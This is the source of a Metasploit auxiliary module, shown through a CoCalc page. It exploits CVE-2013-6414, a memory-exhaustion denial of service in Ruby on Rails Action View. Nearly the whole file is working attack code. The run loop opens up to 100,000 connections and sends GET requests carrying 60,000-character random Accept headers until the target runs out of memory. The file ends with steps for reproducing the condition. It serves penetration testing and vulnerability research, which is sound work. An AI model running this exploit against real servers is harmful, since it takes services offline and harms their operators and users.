Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/rails_action_view.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',
15
'Description' => %q{
16
This module exploits a Denial of Service (DoS) condition in Action View that requires
17
a controller action. By sending a specially crafted content-type header to a Rails
18
application, it is possible for it to store the invalid MIME type, and may eventually
19
consume all memory if enough invalid MIMEs are given.
20
21
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
22
},
23
'Author' => [
24
'Toby Hsieh', # Reported the issue
25
'joev', # Metasploit
26
'sinn3r' # Metasploit
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'CVE', '2013-6414' ],
31
[ 'OSVDB', '100525' ],
32
[ 'BID', '64074' ],
33
[ 'URL', 'https://seclists.org/oss-sec/2013/q4/400' ],
34
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
35
],
36
'DisclosureDate' => '2013-12-04',
37
'Notes' => {
38
'Stability' => [CRASH_SERVICE_DOWN],
39
'SideEffects' => [],
40
'Reliability' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
Opt::RPORT(80),
48
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
49
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60_000]),
50
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
51
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100_000])
52
]
53
)
54
end
55
56
def host
57
host = datastore['RHOST']
58
host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 80
59
host
60
end
61
62
def long_string
63
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
64
end
65
66
#
67
# Returns a modified version of the URI that:
68
# 1. Always has a starting slash
69
# 2. Removes all the double slashes
70
#
71
def normalize_uri(*strs)
72
new_str = strs * '/'
73
74
new_str = new_str.gsub!('//', '/') while new_str.index('//')
75
76
# Makes sure there's a starting slash
77
unless new_str.start_with?('/')
78
new_str = '/' + new_str
79
end
80
81
new_str
82
end
83
84
def http_request
85
uri = normalize_uri(datastore['URIPATH'])
86
87
http = ''
88
http << "GET #{uri} HTTP/1.1\r\n"
89
http << "Host: #{host}\r\n"
90
http << "Accept: #{long_string}\r\n"
91
http << "\r\n"
92
93
http
94
end
95
96
def run
97
print_status('Stressing the target memory, this will take quite some time...')
98
datastore['RLIMIT'].times do |_i|
99
connect
100
datastore['REQCOUNT'].times { sock.put(http_request) }
101
disconnect
102
end
103
104
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
105
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
106
print_status("Unable to connect to #{host}.")
107
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
108
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
109
ensure
110
disconnect
111
end
112
end
113
114
=begin
115
116
Reproduce:
117
118
1. Add a def index; end to ApplicationController
119
2. Add an empty index.html.erb file to app/views/application/index.html.erb
120
3. Uncomment the last line in routes.rb
121
4. Hit /application
122
123
=end
124
125